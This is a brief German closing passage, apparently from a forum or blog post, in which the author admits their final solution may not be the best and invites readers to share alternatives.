Auch moechte ich nicht behaupten, dass meine endgueltige Loesung die beste ist. Wer eine andere hat, oder eine noch bessere…immer her damit! :)

so long